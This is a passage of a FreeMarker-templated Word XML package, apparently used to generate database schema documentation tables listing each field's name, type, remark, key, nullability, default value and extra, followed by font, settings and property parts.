/>\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>其他</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t</w:tr>\n\t\t\t\t\t\t<#list tableInfo.fields as field>\n\t\t\t\t\t\t<w:tr>\n\t\t\t\t\t\t\t<w:tblPrEx>\n\t\t\t\t\t\t\t\t<w:tblBorders>\n\t\t\t\t\t\t\t\t\t<w:top w:val=\"single\" w:color=\"auto\" w:sz=\"0\" w:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:left w:val=\"single\" w:color=\"auto\" w:sz=\"0\" w:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:bottom w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:right w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:insideH w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t\t<w:insideV w:val=\"single\" w:color=\"auto\" w:sz=\"0\"\n\t\t\t\t\t\t\t\t\t\tw:space=\"0\" />\n\t\t\t\t\t\t\t\t</w:tblBorders>\n\t\t\t\t\t\t\t\t<w:tblLayout w:type=\"fixed\" />\n\t\t\t\t\t\t\t\t<w:tblCellMar>\n\t\t\t\t\t\t\t\t\t<w:top w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:left w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:bottom w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:right w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t</w:tblCellMar>\n\t\t\t\t\t\t\t</w:tblPrEx>\n\t\t\t\t\t\t\t<w:trPr>\n\t\t\t\t\t\t\t\t<w:trHeight w:val=\"458\" w:hRule=\"atLeast\" />\n\t\t\t\t\t\t\t</w:trPr>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"961\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>${field.field}</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"836\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>${field.type}</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1857\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>${field.remark}</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1535\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>${field.key}</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1322\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>${field.nullAble}</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1007\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>${field.defaultValue}</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t\t<w:tc>\n\t\t\t\t\t\t\t\t<w:tcPr>\n\t\t\t\t\t\t\t\t\t<w:tcW w:w=\"1007\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t\t\t<w:vAlign w:val=\"center\" />\n\t\t\t\t\t\t\t\t</w:tcPr>\n\t\t\t\t\t\t\t\t<w:p>\n\t\t\t\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t\t\t\t<w:r>\n\t\t\t\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:sz w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:szCs w:val=\"11\" />\n\t\t\t\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t\t\t\t\t<w:t>${field.extra}</w:t>\n\t\t\t\t\t\t\t\t\t</w:r>\n\t\t\t\t\t\t\t\t</w:p>\n\t\t\t\t\t\t\t</w:tc>\n\t\t\t\t\t\t</w:tr>\n\t\t\t\t\t\t</#list>\n\t\t\t\t\t</w:tbl>\n\t\t\t\t\t</#list>\n\t\t\t\t\t<w:p>\n\t\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t\t<w:rFonts w:hint=\"eastAsia\" w:eastAsia=\"宋体\" />\n\t\t\t\t\t\t\t\t<w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t\t</w:pPr>\n\t\t\t\t\t\t<w:bookmarkStart w:id=\"1\" w:name=\"_GoBack\" />\n\t\t\t\t\t\t<w:bookmarkEnd w:id=\"1\" />\n\t\t\t\t\t</w:p>\n\t\t\t\t\t<w:sectPr>\n\t\t\t\t\t\t<w:pgSz w:w=\"11906\" w:h=\"16838\" />\n\t\t\t\t\t\t<w:docGrid w:type=\"lines\" w:linePitch=\"312\" w:charSpace=\"0\" />\n\t\t\t\t\t</w:sectPr>\n\t\t\t\t</w:body>\n\t\t\t</w:document>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/customXml/_rels/item1.xml.rels\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-package.relationships+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<Relationships\n\t\t\t\txmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n\t\t\t\t<Relationship Id=\"rId1\"\n\t\t\t\t\tType=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXmlProps\"\n\t\t\t\t\tTarget=\"itemProps1.xml\" />\n\t\t\t</Relationships>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/customXml/item1.xml\" pkg:contentType=\"application/xml\">\n\t\t<pkg:xmlData>\n\t\t\t<s:customData xmlns=\"http://www.wps.cn/officeDocument/2013/wpsCustomData\"\n\t\t\t\txmlns:s=\"http://www.wps.cn/officeDocument/2013/wpsCustomData\">\n\t\t\t\t<customSectProps>\n\t\t\t\t\t<customSectPr />\n\t\t\t\t</customSectProps>\n\t\t\t</s:customData>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/customXml/itemProps1.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.customXmlProperties+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<ds:datastoreItem ds:itemID=\"{B1977F7D-205B-4081-913C-38D41E755F92}\"\n\t\t\t\txmlns:ds=\"http://schemas.openxmlformats.org/officeDocument/2006/customXml\">\n\t\t\t\t<ds:schemaRefs>\n\t\t\t\t\t<ds:schemaRef ds:uri=\"http://www.wps.cn/officeDocument/2013/wpsCustomData\" />\n\t\t\t\t</ds:schemaRefs>\n\t\t\t</ds:datastoreItem>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/docProps/app.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.extended-properties+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<Properties\n\t\t\t\txmlns=\"http://schemas.openxmlformats.org/officeDocument/2006/extended-properties\"\n\t\t\t\txmlns:vt=\"http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes\">\n\t\t\t\t<Pages>0</Pages>\n\t\t\t\t<Words>0</Words>\n\t\t\t\t<Characters>0</Characters>\n\t\t\t\t<Lines>0</Lines>\n\t\t\t\t<Paragraphs>0</Paragraphs>\n\t\t\t\t<ScaleCrop>false</ScaleCrop>\n\t\t\t\t<LinksUpToDate>false</LinksUpToDate>\n\t\t\t\t<CharactersWithSpaces>0</CharactersWithSpaces>\n\t\t\t\t<Application>WPS\n\t\t\t\t\tOffice_10.1.0.6690_F1E327BC-269C-435d-A152-05C5408002CA\n\t\t\t\t</Application>\n\t\t\t\t<DocSecurity>0</DocSecurity>\n\t\t\t</Properties>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/docProps/core.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-package.core-properties+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<cp:coreProperties\n\t\t\t\txmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\"\n\t\t\t\txmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\"\n\t\t\t\txmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t\t\t\t<dcterms:created xsi:type=\"dcterms:W3CDTF\">2017-05-22T08:36:00Z\n\t\t\t\t</dcterms:created>\n\t\t\t\t<dc:creator>Apache POI</dc:creator>\n\t\t\t\t<cp:lastModifiedBy>Administrator</cp:lastModifiedBy>\n\t\t\t\t<dcterms:modified xsi:type=\"dcterms:W3CDTF\">2018-01-11T09:51:07Z\n\t\t\t\t</dcterms:modified>\n\t\t\t</cp:coreProperties>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/docProps/custom.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.custom-properties+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<Properties\n\t\t\t\txmlns=\"http://schemas.openxmlformats.org/officeDocument/2006/custom-properties\"\n\t\t\t\txmlns:vt=\"http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes\">\n\t\t\t\t<property fmtid=\"{D5CDD505-2E9C-101B-9397-08002B2CF9AE}\"\n\t\t\t\t\tpid=\"2\" name=\"KSOProductBuildVer\">\n\t\t\t\t\t<vt:lpwstr>2052-10.1.0.6690</vt:lpwstr>\n\t\t\t\t</property>\n\t\t\t</Properties>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/word/fontTable.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<w:fonts\n\t\t\t\txmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\"\n\t\t\t\txmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\n\t\t\t\txmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"\n\t\t\t\txmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\"\n\t\t\t\tmc:Ignorable=\"w14\">\n\t\t\t\t<w:font w:name=\"Times New Roman\">\n\t\t\t\t\t<w:panose1 w:val=\"02020603050405020304\" />\n\t\t\t\t\t<w:charset w:val=\"00\" />\n\t\t\t\t\t<w:family w:val=\"roman\" />\n\t\t\t\t\t<w:pitch w:val=\"variable\" />\n\t\t\t\t\t<w:sig w:usb0=\"20007A87\" w:usb1=\"80000000\" w:usb2=\"00000008\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"000001FF\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"宋体\">\n\t\t\t\t\t<w:panose1 w:val=\"02010600030101010101\" />\n\t\t\t\t\t<w:charset w:val=\"86\" />\n\t\t\t\t\t<w:family w:val=\"auto\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"00000003\" w:usb1=\"288F0000\" w:usb2=\"00000006\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"00040001\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Wingdings\">\n\t\t\t\t\t<w:panose1 w:val=\"05000000000000000000\" />\n\t\t\t\t\t<w:charset w:val=\"02\" />\n\t\t\t\t\t<w:family w:val=\"auto\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"00000000\" w:usb1=\"00000000\" w:usb2=\"00000000\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"80000000\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Arial\">\n\t\t\t\t\t<w:panose1 w:val=\"020B0604020202020204\" />\n\t\t\t\t\t<w:charset w:val=\"01\" />\n\t\t\t\t\t<w:family w:val=\"swiss\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"E0002EFF\" w:usb1=\"C0007843\" w:usb2=\"00000009\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"400001FF\" w:csb1=\"FFFF0000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"黑体\">\n\t\t\t\t\t<w:panose1 w:val=\"02010609060101010101\" />\n\t\t\t\t\t<w:charset w:val=\"86\" />\n\t\t\t\t\t<w:family w:val=\"auto\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"800002BF\" w:usb1=\"38CF7CFA\" w:usb2=\"00000016\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"00040001\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Courier New\">\n\t\t\t\t\t<w:panose1 w:val=\"02070309020205020404\" />\n\t\t\t\t\t<w:charset w:val=\"01\" />\n\t\t\t\t\t<w:family w:val=\"modern\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"E0002EFF\" w:usb1=\"C0007843\" w:usb2=\"00000009\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"400001FF\" w:csb1=\"FFFF0000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Symbol\">\n\t\t\t\t\t<w:panose1 w:val=\"05050102010706020507\" />\n\t\t\t\t\t<w:charset w:val=\"02\" />\n\t\t\t\t\t<w:family w:val=\"roman\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"00000000\" w:usb1=\"00000000\" w:usb2=\"00000000\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"80000000\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Cambria\">\n\t\t\t\t\t<w:panose1 w:val=\"02040503050406030204\" />\n\t\t\t\t\t<w:charset w:val=\"00\" />\n\t\t\t\t\t<w:family w:val=\"roman\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"E00002FF\" w:usb1=\"400004FF\" w:usb2=\"00000000\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"2000019F\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Calibri\">\n\t\t\t\t\t<w:panose1 w:val=\"020F0502020204030204\" />\n\t\t\t\t\t<w:charset w:val=\"00\" />\n\t\t\t\t\t<w:family w:val=\"swiss\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"E0002AFF\" w:usb1=\"C000247B\" w:usb2=\"00000009\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"200001FF\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Open Sans\">\n\t\t\t\t\t<w:altName w:val=\"Segoe Print\" />\n\t\t\t\t\t<w:panose1 w:val=\"00000000000000000000\" />\n\t\t\t\t\t<w:charset w:val=\"00\" />\n\t\t\t\t\t<w:family w:val=\"auto\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"00000000\" w:usb1=\"00000000\" w:usb2=\"00000000\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"00000000\" w:csb1=\"00000000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Segoe Print\">\n\t\t\t\t\t<w:panose1 w:val=\"02000600000000000000\" />\n\t\t\t\t\t<w:charset w:val=\"00\" />\n\t\t\t\t\t<w:family w:val=\"auto\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"0000028F\" w:usb1=\"00000000\" w:usb2=\"00000000\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"2000009F\" w:csb1=\"47010000\" />\n\t\t\t\t</w:font>\n\t\t\t\t<w:font w:name=\"Consolas\">\n\t\t\t\t\t<w:panose1 w:val=\"020B0609020204030204\" />\n\t\t\t\t\t<w:charset w:val=\"86\" />\n\t\t\t\t\t<w:family w:val=\"auto\" />\n\t\t\t\t\t<w:pitch w:val=\"default\" />\n\t\t\t\t\t<w:sig w:usb0=\"E00006FF\" w:usb1=\"0000FCFF\" w:usb2=\"00000001\"\n\t\t\t\t\t\tw:usb3=\"00000000\" w:csb0=\"6000019F\" w:csb1=\"DFD70000\" />\n\t\t\t\t</w:font>\n\t\t\t</w:fonts>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/word/settings.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<w:settings\n\t\t\t\txmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\"\n\t\t\t\txmlns:o=\"urn:schemas-microsoft-com:office:office\"\n\t\t\t\txmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\n\t\t\t\txmlns:m=\"http://schemas.openxmlformats.org/officeDocument/2006/math\"\n\t\t\t\txmlns:v=\"urn:schemas-microsoft-com:vml\" xmlns:w10=\"urn:schemas-microsoft-com:office:word\"\n\t\t\t\txmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"\n\t\t\t\txmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\"\n\t\t\t\txmlns:sl=\"http://schemas.openxmlformats.org/schemaLibrary/2006/main\"\n\t\t\t\tmc:Ignorable=\"w14\">\n\t\t\t\t<w:zoom w:percent=\"210\" />\n\t\t\t\t<w:bordersDoNotSurroundHeader w:val=\"0\" />\n\t\t\t\t<w:bordersDoNotSurroundFooter w:val=\"0\" />\n\t\t\t\t<w:documentProtection w:enforcement=\"0\" />\n\t\t\t\t<w:displayHorizontalDrawingGridEvery\n\t\t\t\t\tw:val=\"1\" />\n\t\t\t\t<w:displayVerticalDrawingGridEvery\n\t\t\t\t\tw:val=\"1\" />\n\t\t\t\t<w:noPunctuationKerning w:val=\"1\" />\n\t\t\t\t<w:compat>\n\t\t\t\t\t<w:doNotExpandShiftReturn />\n\t\t\t\t\t<w:doNotWrapTextWithPunct />\n\t\t\t\t\t<w:doNotUseEastAsianBreakRules />\n\t\t\t\t\t<w:useFELayout />\n\t\t\t\t\t<w:doNotUseIndentAsNumberingTabStop />\n\t\t\t\t\t<w:useAltKinsokuLineBreakRules />\n\t\t\t\t\t<w:compatSetting w:name=\"compatibilityMode\"\n\t\t\t\t\t\tw:uri=\"http://schemas.microsoft.com/office/word\" w:val=\"12\" />\n\t\t\t\t</w:compat>\n\t\t\t\t<w:rsids>\n\t\t\t\t\t<w:rsidRoot w:val=\"00172A27\" />\n\t\t\t\t\t<w:rsid w:val=\"053420B0\" />\n\t\t\t\t\t<w:rsid w:val=\"08A852C5\" />\n\t\t\t\t\t<w:rsid w:val=\"0EF17F9D\" />\n\t\t\t\t\t<w:rsid w:val=\"15646B28\" />\n\t\t\t\t\t<w:rsid w:val=\"1ECE0B1F\" />\n\t\t\t\t\t<w:rsid w:val=\"26650BC8\" />\n\t\t\t\t\t<w:rsid w:val=\"28B200BE\" />\n\t\t\t\t\t<w:rsid w:val=\"2AC70B58\" />\n\t\t\t\t\t<w:rsid w:val=\"392455A6\" />\n\t\t\t\t\t<w:rsid w:val=\"3BD2299B\" />\n\t\t\t\t\t<w:rsid w:val=\"3F7A720C\" />\n\t\t\t\t\t<w:rsid w:val=\"42EF03FD\" />\n\t\t\t\t\t<w:rsid w:val=\"4F736E88\" />\n\t\t\t\t\t<w:rsid 